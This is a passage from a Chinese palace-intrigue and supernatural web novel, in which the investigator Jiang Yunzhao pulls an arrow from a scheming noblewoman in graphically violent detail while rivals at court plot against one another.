而苏玉嬛恐怕也正是知道此事,才趁着母亲不在,偷偷赶来将家村,做出了这等自投罗网的蠢事。
不过苏玉嬛身上想必还有着宋白玉死前布下的血咒——
即便她今日侥幸不死,之后等着她的,必定还有数不清的阴邪之事。
云昭抬眼望了望天色,心中盘算:
再过几日便是举国瞩目的文昌大典,朝臣与外宾目光齐聚,玄察司责任重大,她作为司主,绝无可能在此刻抽身远赴江陵调查。时间上根本来不及折返。
与其寄希望于萧启的手下能在江陵查到什么确凿证据,倒不如盯紧已然自乱阵脚的林氏!
“哑婆,去将林夫人扶起来,送回苏府。”
“至于苏小姐的尸身,妥善收敛,运回司中暂厝,等候仵作查验。”
她又看向侍立一旁的墨七:“墨七,你陪着这位吕嬷嬷,回苏府报丧。务必详细告知苏老大人此处发生的一切。”
墨七抱拳,走到近前伸手一引:“嬷嬷,请罢。”
吕嬷嬷脸色惨白,浑浊的老眼里闪过一丝挣扎,强撑着哀声道:
“姜司主……我家小姐死得惨呐!
若死后还被剖开,弄那劳什子验尸,会害得我家小姐魂魄难安!
况且若是夫人醒来,得知此事,也绝对接受不了!”
云昭眉梢轻挑:“正因苏小姐死得蹊跷,更需玄察司详加勘验,方能查明真相,告慰亡灵。
林夫人方才悲痛欲绝,甚至不惜以身殉女,不也是因为苏小姐死得不明不白,令她这个做母亲的肝肠寸断,无法接受吗?”
反正林氏如今正“晕”着,以她的自私冷清,绝没那个胆量当场坐起来反驳!
云昭目光扫过已被两名暗卫架起来的林氏:“嬷嬷回去,代为转告府中上下。
我一定尽快查清此案,揪出真凶,给苏小姐一个公道,也给苏家一个清清楚楚的交代。
嬷嬷若执意将尸身带回,遗漏了关键线索,让真凶逍遥法外,岂非让苏小姐含恨九泉,让林夫人痛不欲生?”
这番话字字扣着“查案”与“交代”,听起来冠冕堂皇,无懈可击。
可听在吕嬷嬷耳中,尤其是那句“死得不明不白”、“揪出真凶”,却如同丧钟敲响,让她脊背发凉,再不敢多言半句。
她脚下踉跄,仿佛瞬间被抽干了力气,只能佝偻着背,脸色灰败地跟着墨七往马车走去。
已被安置在马车上的林氏,紧闭的眼皮轻颤了一下。藏在袖袍下的手,指甲深深掐入掌心。
这个姜云昭!
扣住嬛嬛的尸身,分明就是要往死里查!
都怪梅柔卿那个成事不足、败事有余的蠢货!
平白在姜府经营了那么些年,连个苏氏都弄不死,还引得姜云昭回京。
如今不仅成了秦王的准王妃,还手握玄察司实权,地位越发尊崇了!
依她看,这姜云昭哪里是什么认祖归宗?分明是处心积虑地回京复仇来了!
回想起近来听闻的,关于梅氏游街示众、在京兆府被当众刺字的传闻,林氏心底不由窜起一股寒意。
不!不会的!
她和梅氏不同!她有丈夫疼爱怜惜,有婆母信任撑腰,有苏家这门楣庇护!
只要过了眼前这关,她定能重整旗鼓!她绝不会落到梅柔卿那般**的境地!
然而此时的林氏尚不知晓,待到真相大白那日,她所倚仗的丈夫疼爱,婆母撑腰,在家族存续面前,都会被无情舍弃。
而她所依凭的苏家门楣,更会成为将她彻底钉死的枷锁!
她的下场,注定只会比那个她所鄙夷的梅柔卿,更为凄凉。
然而就在这时,林氏忽听云昭又道:“慢着。”
“我左思右想,林夫人毕竟是我那位大舅舅明媒正娶的发妻,彼此沾亲带故的,
她如今伤得这般重,就这样草草送回去,总归显得我有些不近人情了。”
云昭走近,微微俯身,盯着林氏那张即便“昏迷”也难掩紧绷的脸,一字一句道,
“夫人这肩伤,须得尽快处理。
为了效果好,我得亲手拔箭。”
第202章 我得亲手拔箭!
云昭直起身,对一旁侍立的墨七、墨十七道:“将车帘挂起,光线好些。惠娘,取我的随身药囊来。”
她并未如从前那般先去净手,反而慢条斯理地挽起衣袖,露出一截皓腕,对墨七二人吩咐道:
“林夫人昏迷不醒,待会拔箭时恐会因剧痛而挣扎。
你们二人需得帮忙,替我牢牢摁住夫人,莫让她乱动,以免造成损伤。”
墨七与墨十七对视一眼,皆从对方眼中看到一丝了然。
她们二人此前两次跟随云昭前往苏府,对自家主子与苏府,尤其是与这位林夫人之间的种种龃龉,心知肚明。
“司主,寻常拔箭,恐难奏效。”墨十七顿了顿,淡声道,“依属下浅见,得先用刀划开!”
墨七接口,语气带着几分关切道:“司主,还是让属下来吧。
待会儿血溅出来,污了您的衣裳和手,岂不晦气?”
这主仆三人一问一答,语气平静,内容却一句比一句骇人听闻,光是听着,就让人头皮发麻。
马车旁心神不宁的吕嬷嬷听得魂飞魄散,膝盖弯一软,差点栽倒在地!
她幼时住在乡下,见过猎户被野兽所伤,也见过兵痞斗殴中箭,深知箭伤的凶险。
有的人中箭后还能撑着走几步,并不致命,可一旦拔箭手法不当,当场毙命者比比皆是!
“万万不可啊!”吕嬷嬷连滚爬爬地扑回来,也顾不得尊卑体统了,跪在云昭脚边哀求道,
“姜司主!姜司主开恩!老奴求您了!
夫人她刚遭丧女之痛,身心俱损,再也经不起这般折腾了!
老奴听闻姜司主医术通神,尤擅金针渡穴,想必能镇痛止血!
求司主发发慈悲,先用金针稳住夫人伤势,再寻个稳妥的法子拔箭不迟啊!”
云昭看着吕嬷嬷,轻轻叹了口气:“吕嬷嬷以为我不想用金针吗?
只是今日事出突然,我听闻秦王殿下与赵大人在此遇险,心急如焚,匆匆赶来。
随身只带了最紧要的几样伤药,那套用于针灸镇痛的金针,以及好些调理内息的珍贵丸药,都留在了玄察司内,未曾带来。”
一旁的周文焕连忙点头附和,义愤填膺地骂道:“正是!都是那布下邪阵、祸害乡里的天杀恶贼!
弄出这等塌天大祸,屠了全村人性命不说,还连累秦王殿下、赵大人遇险,如今更是害得苏小姐惨死!此獠当真该千刀万剐,死后永堕十八层地狱!”
布下邪阵的恶贼?不正是在骂她家夫人林氏?
吕嬷嬷急得额头冷汗涔涔,后背衣衫都被浸透了,却一时不知该如何再劝。
云昭温言安抚道:“嬷嬷别怕。我虽未带金针,但这拔箭清创的手艺,却是自小练就!况且,上好的金疮药我确是带了的。”
笑话!
当年母亲被陷害的事,她还没让林氏吐露干净,哪舍得她就这么**?
马车上,林氏越听越觉得不对劲!
她撞树晕厥本就是权宜之计,哪里真能承受这等酷刑般的“救治”?
眼看着云昭似乎真要动手,她再也装不下去,眼皮一颤,就欲“悠悠转醒”——
墨七眼疾手快,低喝一声,蒲扇般的大手已毫不客气地重重按住了林氏!
与此同时,墨十七身形一动,如同灵巧的狸猫般跃上担架一侧,单膝直接压住了林氏胡乱想要蹬动的双腿!
“司主,可以动手了。”二人异口同声,将林氏牢牢固定在车板上,动弹不得。
云昭神色平静,从惠娘捧着的药囊中取出一柄寒光凛冽的薄刃小刀。
沿着箭杆没入皮肉边缘,手法迅捷地划开了一道寸许长的切口!
“啊——!”
林氏发出一声凄厉的惨嚎,剧痛让她全身痉挛,额头青筋暴起,眼珠几乎要凸出眼眶!
云昭弃了小刀,两手稳稳握住那支穿透林氏肩膀的箭杆。
她没有立刻拔出,而是微微转动了一下箭杆,似乎是在感受钩刃卡住的位置。
“呃啊——!!!”
林氏又是一声变了调的惨叫,比刚才更加撕心裂肺。
她能感觉到那冰冷的金属异物在自己的血肉筋骨间摩擦、搅动!
就在林氏痛得几乎晕厥的刹那,云昭眼神一凝,手腕
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猛地发力,向斜上方一拔!
“噗嗤——!”
一声令人牙酸的、血肉被强行撕裂剥离的闷响!
箭镞带着倒钩,硬生生从林氏的肩胛骨缝中被扯了出来,连带出一小块森白的碎骨和数缕粘连的筋肉!
溅起的鲜血将车顶染红了大片,更溅了林氏自己满头满脸!
温热的、带着浓重铁锈腥气的血液糊住了她的眼睛,流进她的嘴巴。
林氏连惨叫都发不出了,只剩下喉咙里“嗬嗬”的抽气声。
整个人如同离水的鱼,在墨七、墨十七的压制下剧烈地抽搐了几下,这次是真的彻底晕了过去。
云昭随手将箭矢丢在一旁,从惠娘手上接过金疮药,快速洒了一些上去。
“好了。”
云昭直起身,将剩下的半瓶金疮药递给瘫坐在地的吕嬷嬷,语气平淡地嘱咐,
“回去的路上,若见伤口再渗血,可再撒上一些。”
她顿了顿,又补充一句:“只是这箭伤颇深,又损了筋骨,日后这只手臂,恐怕难以再如从前般灵活自如了。”
殊不知,待林氏被送回苏府,苏家紧急请来的,恰是京城回春堂那位以性情耿直著称的楚大夫。
楚大夫仔细查验了林氏的伤口后,抚须连连点头,大赞出声:
“这箭拔得当真利落!像是常在军中处理外伤的老手所为!”
待从战战兢兢的吕嬷嬷口中得知,拔箭之人竟是云昭,楚老大夫更是两眼放光:
“老夫早就说过,姜司主年纪轻轻,医术了得!假以时日,必成一代国手啊!”
此为后话,暂且不提。
且说当下,云昭命墨七亲自带人,护送着载有林氏和吕嬷嬷的马车,火速赶往苏府报信。
殊不知另一边的皇城之内,眼见远方血柱擎天,听闻将家村惊变,有人惊诧,有人急怒,更有人为此心神欲裂!
梅柔卿得知贵妃晕厥,匆匆赶至披香殿,却听到这等惊人消息,第一反应便是浑身一颤:
薛九针竟**?
那她的心儿该怎么办?
心儿肚子里的孩子,又该怎么办!
第203章 刚刚承过雨露的媚态
披香殿。
孟贵妃悠悠转醒,视线初时有些模糊。
随即,她便瞧见那道熟悉的明黄色身影,背对着她,负手立在寝殿东侧的雕花长窗前。
“陛下……”
她强忍着眩晕,挣扎着用手肘撑起上半身,急急追问,
“兄长……大将军他怎么样了?派去的御医可曾回话?伤势究竟如何?”
窗前的帝王闻声,缓缓转过身。
就在皇帝身后,那张铺着软烟罗锦垫的玫瑰椅上,正坐着另一道纤秾合度的身影!
只见柔妃半边脸颊几乎要贴在帝王腰间,双颊微红,眼波流转间带着未散尽的慵懒媚意。
那模样,哪里像是来探病?分明一副刚刚承过雨露的媚态!
孟贵妃喉头哽着一口老血——
这个不知廉耻的小骚蹄子!
平日里在自己宫里勾引陛下也就罢了,今日竟敢跑到她的披香殿来,当着她的面,做出这般狐媚姿态!
尤其她的兄长此刻还生死未卜,命悬一线呢!
一股混杂着嫉妒、愤怒与被冒犯的强烈情绪,如同毒火般瞬间燎过孟贵妃的心头,烧得她眼前阵阵发黑。
柔妃似乎察觉到了孟贵妃几乎要**的目光。
她抬起眼,非但没有丝毫畏惧,唇角还轻轻勾了一下。
她故意用指尖亲昵地推了推皇帝腰间。
“陛下,”她声音软糯,带着恰到好处的催促,“快去瞧瞧贵妃姐姐如何了?姐姐方才晕厥,可把臣妾吓坏了。”
皇帝顺势转过身,看向贵妃。
他的声音比低哑,带着一种事后的慵懒,大手自然而然地抬起,轻轻抚在柔妃发顶上。
“柔妃素来懂事。”皇帝的目光落在贵妃苍白的脸上,“听闻你晕倒了,不顾身子有些不爽利,偏要跟着朕一起来看望你。”
这话听在贵妃耳中,不啻于火上浇油!
她的兄长重伤濒死,她怀着身孕直接晕倒!
这**哪里是探望的,分明是上赶着来看她的笑话!
皇帝似乎并未察觉贵妃脸色不对,只淡淡道:“御医已去过殷府了。说是孟峥暂无性命之忧,只是不知什么缘故,一直未曾转醒。”
贵妃一颗心稍落,随即又被“未曾转醒”四字紧紧揪住:
“缘何一直未醒?御医可有说个明白?那阮鹤卿到底怎么回事?为何会突然暴起咬人?陛下,此事蹊跷,万不可大意啊!”
她话一出口,便见皇帝几不可察地皱了皱眉。
贵妃心头一凛,猛然意识到自己方才的语气太过咄咄逼人,近乎质问。
她连忙放缓了声音,恳切道:“陛下……臣妾方才忧心太过,失了分寸,还请陛下恕罪。
臣妾的意思是,大将军乃边关擎天玉柱,若是一直昏迷不醒,恐怕会动摇军心,亦让那些虎视眈眈的宵小之辈生出妄念。
陛下,臣妾斗胆,恳请陛下速遣人前往玄都观,延请玉衡**下山坐镇,以**无上玄法,或可探明缘由,助大将军早日苏醒。”
皇帝却道:“玉衡**此刻正为母后**,亦在为我大晋国祚祈福。此时惊扰,多有不妥。”
他那位亲娘近来愈发老糊涂了,这才去了道观几日?
昨夜就按捺不住,将自己的曲颈琵琶交给了姜绾心那等浅薄女子,害得太子昨夜当着外宾的面,闹了好大笑话!
太子固然修身不严,可这姜绾心也不是什么好女娘!
偏偏太后和贵妃两个,一个偏宠姜绾心,一个非要重用梅氏!
这两个,简直就是一对糊涂蛋,皇帝只要一想起来,就气得心口疼!
他瞧见贵妃瞬间黯淡下去的脸色,终究念及她入宫十年才怀上子嗣,又补充道:
“朕已命人去寻姜云昭。她如今执掌玄察司,专司此类异事,想必很快就能查清缘由,襄助御医救醒大将军。”
“姜云昭?”贵妃几乎是失声叫了出来,“她怎么行!她……”
眼见皇帝脸色以肉眼可见的速度沉了下来,贵妃悚然一惊,强行将冲到嘴边的咒骂咽了回去,改口道,“臣妾的意思是……
那姜云昭,素来与臣妾有些芥蒂。
听闻前几日,兄长因怜惜麾下一名重伤垂危的军士,亲往玄察司,请她出手诊治。
谁知那姜云昭对此事三推四阻,态度倨傲,甚至无视那军士性命垂危,公然忤逆大将军的将令!
如此心胸狭隘、睚眦必报之人,臣妾实在担心她能否尽心为兄长诊治……”
孟贵妃越说越快,试图将姜云昭塑造成一个因私废公、不堪重任的小人。
然而,她并没有注意到,当她提及“大将军的将令”时,皇帝眼底最后一丝温度也彻底消失了。
“谁的将令?”
皇帝的声音不高,却带着一种沉甸甸的、令人心悸的威压,在寂静的殿内回荡。
贵妃猛地噎住,脸色“唰”的一下变得惨白。
她这才惊觉,自己情急之下,竟犯了大忌!
她一个后宫妃嫔,如何能如此清楚前朝武将与朝廷命官之间的公务往来?
干涉朝政,交通外臣,窥探政务……
这是任何一个君王都最为忌惮的!
“臣妾……臣妾也是听宫人闲谈……”贵妃慌乱地试图解释,声音干涩。
“姜云昭,是朕亲口御封的玄察司司主。她的职责,是听朕的命令,为朕分忧,护佑京城安宁。除此之外,她无需听从任何人的‘将令’。”
皇帝顿了顿,语气转冷:“贵妃如今身怀龙裔,当好生静养,勿要思虑过甚,伤了胎气。
至于大将军之事,朕自有安排,你无需过问。”
正当殿内气氛凝滞如冰时,殿门外传来细微的脚步声。
梅柔卿低垂着头,碎步快走而入。
她今日穿着一身半新不旧的藕荷色宫装,发髻只简单绾着,插着两支素银簪子,脸上脂粉未施,显得颇为憔悴。
她走到殿中,对着皇帝和贵妃的方向,深深拜伏下去。
“贱妾梅氏,叩见陛下,贵妃娘娘。”
皇帝只要一见到她,便想起昨夜麟德殿太子闹出的荒唐事,眉头立刻拧紧,脸上最后一点耐心也消耗殆尽。
若非顾及贵妃腹中胎儿和孟家的面子,他此刻恨不得立刻将这祸水拖出去。
“看好你的人。”
皇帝丢下一句冰冷至极的话,衣袖一拂便要离开。
就在皇帝的龙靴刚一迈过高高的朱红门槛——
“轰!”
远处天际,一道凝实如血玉般的暗红色光柱,猛然冲天而起!
光柱直贯九霄,将午后天际的浮云都映照得一片猩红,仿佛苍穹被撕裂了一道淌血的伤口!
“天哪!那是什么?!”
披香殿外,侍立的宫女太监们发出惊恐的尖叫,有人甚至吓得直接瘫软在地。
皇帝猛地顿住脚步,威严的面容上难得露出了惊诧与凝重。
就连柔妃抬头看到那血色光柱的瞬间,脸色也不由微微一沉。
然而就在血色光柱升腾而起不久,更近一些的空中,一道拖着明亮尾焰的信箭,带着尖锐的破空之声,疾速升上高空!
随即“啪”的一声炸开,化作一团醒目的青紫色烟花!
“是秦王的信箭!”
一直侍立在庭院角落的常公公尖声叫道,声音带着惊喜,“陛下!是秦王殿下的平安信箭!殿下定然安然无恙!”
皇帝紧绷的脸色稍稍一缓,但眼神依旧锐利地盯着东北方向。
他沉声喝道:“顾影人呢?为何还不来报信?!”
常公公连忙躬身:“回陛下,异象突发,信箭又至,顾统领想必还在途中。”
皇帝心中焦灼,既担忧秦王安危,又惊疑那血色光柱代表着不详。
他索性不再回殿,对着常玉吩咐:“搬张椅子来,朕就在这儿等。”
内侍们连忙搬来一张铺着软垫的紫檀木圈椅。
皇帝撩袍坐下,目光如炬,紧紧盯着宫门方向,显然不愿再回殿内面对贵妃和她身边的梅氏。
柔妃低眉顺眼,安静地陪着坐在一旁。
约莫两刻钟后,一道迅捷如鬼魅的身影穿过重重宫门,悄无声息地出现在庭院中,正是皇帝麾下密探统领顾影。
他风尘仆仆,单膝跪地,语速极快却清晰地将将家村发生的一切简要禀明。
末了,他特别补充道:“……此番能顺利破阵,救出秦王殿下与赵大人,查明将家村**真相,多赖姜司主玄法精深,更兼胆识过人。
若非姜司主及时赶到,以奇术破开邪阵迷雾,又以雷霆手段直捣阵眼,恐怕后果不堪设想。”
皇帝听罢,先是长长舒了一口气,紧绷的肩背微微松弛,随即,怒火涌上心头,猛地一拍椅子扶手。
“这薛九针,真是丧心病狂!为一己私仇,竟敢布下如此歹毒邪阵,戕害一村百余口无辜性命,为他女儿殉葬!
其心可诛!其行当戮!便是挫骨扬灰,亦难赎其罪!”
坐在皇帝身侧,正拈起一颗紫玉葡萄,细致剥皮的柔妃,指尖几不
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可察地微微一顿。
她眼帘低垂,掩过眼底冷的讥诮与深寒。
为惨死的女儿殉葬,杀了百余人,就是丧心病狂?
那为了一个莫须有的罪名,便下旨诛连三族,男女老幼上千口人,一夜之间血染刑场,累累白骨填满乱葬岗……
就是圣君明主了?!
柔妃的指甲,在后宫嫔妃之中留得不算长,却修剪得极为圆润精致,指甲上涂着颇为别致的烟霞粉蔻丹。
葡萄清凉的汁水渗出,染湿了她右手的食指的指甲。
柔妃眸光阴凉,在那片指甲的边缘停留了一瞬。
随后,她轻轻用指尖捻起那颗葡萄果肉,递到犹自怒骂不休的皇帝唇边,声音轻柔:
“陛下,龙体要紧。吃颗葡萄,消消火气。顾统领不是说了么,恶首已然伏诛,秦王殿下也平安无事了。”
皇帝就着她的手吃下葡萄,又追问道:“那薛九针的尸身呢?”
顾影将头垂得更低:“回陛下,其尸身……已与将家村九十七口村民,一同化为飞灰,整个村落已被夷为平地。”
皇帝沉吟片刻,再次下令:“传朕旨意,命玄察司司主姜云昭,即刻赶往殷府!
务必确保大将军孟峥安然无虞,查明其昏迷缘由,全力施救!”
一直强撑着靠在寝殿门边,竖着耳朵倾听外面动静的贵妃,听到这里,再也忍不住,疾步走出殿门,哀声道:“陛下——!”
皇帝霍然转身,目光冰冷地扫向她,语气是前所未有的严厉:“此事朕自有主张,你勿需多言!好生回去躺着养胎!”
他顿了顿,语气加重,带着明确的警告与敲打,
“姜云昭如今是朕亲封的正四品玄察司司主,是朝廷命官!
自执掌玄察司以来,屡破奇案,安定京畿,其能力、其忠心,朕心中有数!
她绝非那等因私废公、罔顾法纪之人!
你一个妇道人家,莫要以小人之心,妄度君子之腹!”
贵妃被这番话噎得胸口剧痛,一股腥甜直冲喉头,几乎要当场呕出血来!
皇帝这说的是什么话?
她是妇道人家,难道姜云昭就不是女人了?
难道一个四品女官,比她这有了身孕的一国贵妃还尊贵?
孟贵妃不由侧过眸,眸光含煞,瞪向身旁低垂着头的梅柔卿!
都是她做的好事!
当日在碧云寺,是谁信誓旦旦,说什么必定会让柔妃和姜云昭身败名裂,永世不得翻身!
结果呢?
柔妃这个小**直到今日还在陛下面前装乖卖巧,活蹦乱跳!
姜云昭更是步步高升,春风得意,日渐受到陛下信重!
还有昨夜凝辉堂那桩丑事……她今早才听心腹宫女战战兢兢地禀报。
要她说,什么宋白玉,什么姜绾心,此事从头到尾,分明就是姜云昭那**有心引导,设下的毒计!
目的就是为了陷害太子,令太子失去圣心!
这个女人的心,根本不在后宅妇人的争风吃醋上,她的眼睛,一直盯着的是前朝,是权力,甚至是这天下!
偏偏陛下不知被她灌了什么**汤,短短几个月工夫,就信她至此!
为了她,甚至不惜当众如此严厉地训斥自己这个怀有龙裔的贵妃!
真是岂有此理!
梅柔卿压根儿没留意到贵妃的眼神。
她全部的心神,都被顾影方才的禀报攫住了,只感到一阵天旋地转的恐慌,四肢冰凉。
薛九针……**?而且死得那么彻底?魂飞魄散,尸骨无存!
那她的心儿怎么办?心儿身上那来自宋白玉的血咒,到底该如何解除?
薛九针曾含糊提过,此咒诡异,需牺牲血亲的血肉性命,方有可能化解!
她拼命回忆从前跟着薛九针学来的那些玄门秘法,嘴唇被她自己咬得渗出血,她却浑然不觉。
这姜云昭根本就是故意的!
杀了薛九针,无异于断她后路,毁她前程,让她从此无枝可依!
梅柔卿不禁懊恼,时间紧迫,如今再想借着心儿落胎之事,陷害姜云昭,是万万不能了!
可如果就这样让女儿落了腹中那块肉,梅柔卿又万分不甘心!
忽地……她想到一个主意,目光不由悄然落在一旁的贵妃身上。
若心儿一定要落了这胎,凭什么贵妃肚子里的孽种能得保全?
要倒霉,大家不如一块倒霉!
免得太子因而心儿的孩子没了,又将心思转到这不知廉耻的**身上!
第204章 顺着女人的裙带往上爬
另一边,早就如热锅上蚂蚁般的周文焕,觑着这个空档,连忙凑到云昭身边,苦着一张脸作揖道:“姜司主!下官实在没辙了,求您给指条明路吧!”
他急得嘴角都快起泡:“这将家村一夕之间,全村百余口人,连同房屋祠庙,尽数化为焦土飞灰!此等骇人听闻之事,旷古未闻!
下官身为清水县丞,负有管辖之责,这向上呈报的公文,究竟该如何撰写?”
照实写,无异于作死;
可若不据实上报,又怕被上峰斥责推诿!
云昭略一思忖,便知周文焕的难处。
她沉吟道:“便说将家村因早年一桩旧案,积怨颇深,因果纠缠,终至酿成惨祸。
全村人于一夕之间暴毙,尸骨无存,村舍尽毁,疑似天谴所致。
至于村民所见血色光柱,乃玄察司超度法事引发的‘净秽之光’。”
周文焕听得连连点头,忙从随身的青布包袱里取出笔纸,将毛笔在舌尖飞快一舔,就着膝盖,唰唰记录下云昭话语中的关键:“姜司主,真是一语点醒梦中人!”
然而此时的周文焕尚不知情,就在不久之后,这位一语点醒他的姜司主,会在另一个更为诡异阴森的场合,再次救他一命!
萧启走到云昭身侧,低声道:“方才接到京中密报。
其一,贵妃听闻其兄孟峥在殷府,被阮鹤卿突然发狂咬伤脖颈,血流不止,惊怒之下,动了胎气。”
其二,阮鹤卿在京中的父母,及其一双弟妹,连同弟媳、子侄,共计七人,被发现在宅中暴毙身亡。
据报信者描述,死状颇为蹊跷,院内秽气不退,屋内似有怪异声响。
我的人已围了阮府,任何人等不得入内。”
萧启顿了顿,又将声音更压低几分道:“其三,你那位好兄长,今早是从玉珠公主的房间出来的。”
其实还有些更为香艳的桥段,只是萧启面对着心上人,实在有些难以启齿,因而只是简单一提。
云昭却心头闪过一抹了然。
他那娘亲当年人在青楼,或许有诸多不得已;
可他却是有手有脚,行动自如的堂堂男子!
如今却为了权势富贵,主动爬上那异国公主的床!
还真是跟姜世安一样,一心顺着女人的裙带往上爬!一脉相承的贱骨头!
既如此,她倒不如成全了他!
定让他好好当着众人的面,彻底扒去最后的体面,成为人人喊打的过街老鼠!
就在这时,不远处官道上再次传来急促如擂鼓的马蹄声!
一骑快马如离弦之箭般飞驰而来,马上是一名面白无须的太监。
来人勒马急停,滚鞍下马,疾步奔至云昭与萧启面前:
“陛下有令!
传玄察司司主姜云昭,即刻前往殷府,救治重伤的孟峥孟将军!
陛下口谕,孟将军乃国之柱石,伤势危重,太医院众医束手,命玄察司主务必施展所能,全力施救,不得有误!”
这内侍显然是皇帝身边得用的急使,传达旨意时,目光灼灼地盯着云昭,带着不容置疑的催促。
云昭听罢,面上却无半分急切。
“请回禀陛下,云昭领旨。
然则阮家一家七口惨死,怨气已生,秽气弥漫,若不及早处置净化,恐将滋生厉鬼,祸延无辜百姓,酿成更大灾殃。
故云昭需先行前往阮家,处理怨气,超度亡魂,以安地方。”
她迎着内侍骤然变色的脸庞,不紧不慢道:
“至于孟将军的伤势……殷府之中,想必此刻已有太医院众位国手齐聚。
只要能稳住心脉,以孟将军的体魄根基,一时半刻,性命定然无虞。
待我处理完阮家怨气,自当赶往殷府。
两处相较,自是京城百姓安危更为紧要。想来陛下仁德爱民,必能体谅此中轻重。”
笑话!
当日孟峥在玄察司,是如何对她百般羞辱刁难的?
让她此刻火急火燎地去救孟峥?
她又不是吃饱了撑的没事做!
云昭心中冷笑。
若论轻重缓急,在她心中,便是去救路边一条野狗,也强过去救那眼高于顶、言辞下流的孟峥!
那传旨内侍脸色变了又变,可见云昭言之凿凿,口口声声百姓安危,他竟一时不知该如何反驳,只能僵在原地,额角见汗。
萧启淡声道:
“回去禀明陛下,是本王亲自带姜司主前往阮家处置怨秽。一切后果,自有本王承担。”
话音未落,他已不再理会那内侍,转向一旁。
亲卫早已牵来他的坐骑——
一匹通体乌黑、神骏非凡的踏云驹。
萧启一手揽住云昭腰身,略一用力,便将她稳稳带起,两人轻捷地落于马背之上。
赵悉见状,从部下手中接过自己的马,翻身上鞍,紧紧随在萧启马侧。
云昭目光掠过人群,落在了那道即便挺直却仍透出虚弱的身影上。
“裴大人!”云昭清越的声音穿透风声。
裴琰之脊背几不可察地一僵,他动作有些迟缓地抬起头。
云昭语速很快,却字字清晰:“你伤势未稳,不宜颠簸劳顿。
劳烦你随哑婆一道,护送苏小姐尸身先行返回玄察司,妥善安置。”
裴琰之闻言先是怔了一下,随即摇了摇头。
他哑声道:“下官谢司主体恤。
阮家之事,最初线索是下官查访所得,其中曲折,旁人恐不如下官清楚。
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怨秽之事,瞬息万变,多一人知悉前情,或能多一分把握。恳请司主容下官同往。”
云昭深看了他一眼,见他虽气息虚弱,但神智清明,便不再强行劝阻。
一直沉默旁观的裴寂走上前:“护送苏小姐尸身之事,我可代为处置。”
另一边,驸马卫临亦拱手道:“我须先向长公主殿下禀明此间经过。京城之内,若有需策应之处,殿下与姜司主随时可传讯公主府。”
数骑骏马同时扬蹄,如同离弦之箭,朝着京城方向疾驰而去。
马上疾驰,风声猎猎。
云昭被萧启护在身前,隔着薄薄衣料,能清晰感受到身后胸膛传来的沉稳心跳,以及男子驾驭马匹时手臂肌肉的微微绷紧。
颠簸中,两人的距离时近时远,发丝偶尔被风拂起,轻扫过萧启的下颌。
她微微侧首,气息因迎面而来的风而稍显轻软,声音却清晰地传入萧启耳中:
“殿下,回京之后,还需劳烦您安排人手,暗中盯紧林静薇的一举一动。
她身上有很重要的事,我必须查个水落石出!”
她吐息间带着淡淡的药草清香,拂过萧启颈侧。
萧启喉结几不可察地滚动了一下,背脊不自觉地挺得更直。
他刻意将两人之间的距离悄然拉开些许,才沉声应道:“嗯,知道了。”
云昭并未留意到他这细微的不自在。她的目光越过了萧启的肩膀,落在了侧后方另一匹马上的裴琰之身上。
裴琰之强撑着伤体骑马,脸色比之前更加苍白,薄唇紧抿,显是在忍受痛楚,但身姿依旧竭力保持着挺拔。
风拂起他有些散乱的鬓发,露出清隽却坚毅的侧脸轮廓。
云昭也说不上来究竟是怎么回事。
自方才在祠堂,第一眼看到被困于椅上的裴琰之时,心头便莫名地划过一丝难以言喻的悸动。
此刻,看着他勉力支撑的身影,那种莫名的关注便再次浮现心头,让她忍不住目光流连。
萧启因方才云昭贴近的吐息而心神微漾,此刻敏锐地察觉到她的目光所向。
他眸光一沉,勒着缰绳的手臂倏然向内一收,彻底阻隔了她投向裴琰之的视线。
他这未婚妻是怎么回事?
先前赵悉,后是裴琰之,难道在她眼里,这两人都长得比他更好看?更吸引她?
她是不是眼光有点问题!
然而,即便是料事如神、洞察幽微如云昭,此刻也绝不会料到——
就在他们策马奔向京城的同时,被“护送”回苏府的林静薇,刚从剧痛之中幽幽转醒,迎接她的,并非丈夫的怜惜慰藉,也非婆母的焦急垂询,
而是来自王氏一记用尽全力的、怒极了的掌掴!
第205章 我要和离!
苏府。
林静薇是被一阵撕心裂肺的剧痛,生生痛醒的。
右肩如同被烧红的烙铁反复灼烫,牵扯着五脏六腑都跟着抽痛起来。
意识渐渐回笼,她喉咙里发出含糊的呻吟,费力地掀开沉重的眼皮。
朦胧的视线里,先看到的是床前不远的楚大夫,正将一个青瓷药瓶收进随身药箱,一边对面色沉凝的苏老大人说着什么。
楚大夫一见林氏竟然醒了,当即捋着胡须,再次忍不住开口夸道:
“多亏姜司主处置果断。若非如此,夫人哪会这么快清醒过来!”
林氏一听这话,当即气得眼前一黑!
这老匹夫说的是什么狗屁倒灶的混账话!
她醒来是因为姜云昭医术好?
她这分明是被剧痛折磨得被迫苏醒!
那**是故意折磨她!
用刀割她的肉,用箭杆搅她的骨,拔箭时还故意用了超级大的力气,血溅得足有三尺高!
那哪里是救人,分明是趁机施虐,是想要她的命!
若不是她命硬,当时就该活活痛死在那**手里了!
林氏不知道的是,云昭给她洒的金疮药里,混合着一种特制的药粉,会让人在剧痛中尽量保持意识清醒。
简而言之,云昭虽没有直接要了她的命,但确实是在故意折磨她。
滔天的恨意与肩头火烧火燎的疼痛交织,让林静薇眼前阵阵发红,几乎要滴下血泪。
她猛地转眼,朝一直守在床边的吕嬷嬷看去,眼神凌厉而急切,传递着想要起身的意图。
吕嬷嬷对上她的目光,心头一紧。
她当然心疼自家夫人,可她也更清楚眼下的局势。
回到苏府,林氏必须抢占先机,掌控**,往后才能继续在苏府站稳脚跟!
她快步上前,托起林氏脊背:“夫人,老奴扶您起来。”
这一动,牵扯到伤口,林静薇疼得险些再次晕厥过去。
她死死咬住下唇,尝到了铁锈般的血腥味,强撑着半坐起身,背靠软枕。
她抬起泪痕未干的脸,挣扎着朝面色不虞的苏文正哀声道:
“爹……儿媳不孝,让您和娘担心了!都是儿媳没用,没能看顾好嬛嬛,让她遭此大难。
儿媳恨不得代她**……啊——!”
林氏话未说完,忽觉眼前一道深蓝色的影子以极快的速度闪过,不等她反应过来,耳畔只闻“呼”的一道劲风袭来,紧接一个大巴掌,结结实实地扇在了她的脸上!
林静薇整个人被打得猛地向后一仰,脖颈发出令人牙酸的“咯吱”声,左半边脸颊瞬间麻木,随即是火辣辣爆裂开的剧痛!
若不是吕嬷嬷从旁死死架住,林静薇毫不怀疑自己会被这一巴掌直接扇得飞出去!
林氏整个人都被打懵了,脑子里一片空白。
好半晌,她才勉强从那阵剧烈的耳鸣中挣脱出来,一抬眼,正对上王氏那张因极度愤怒而涨得通红的脸!
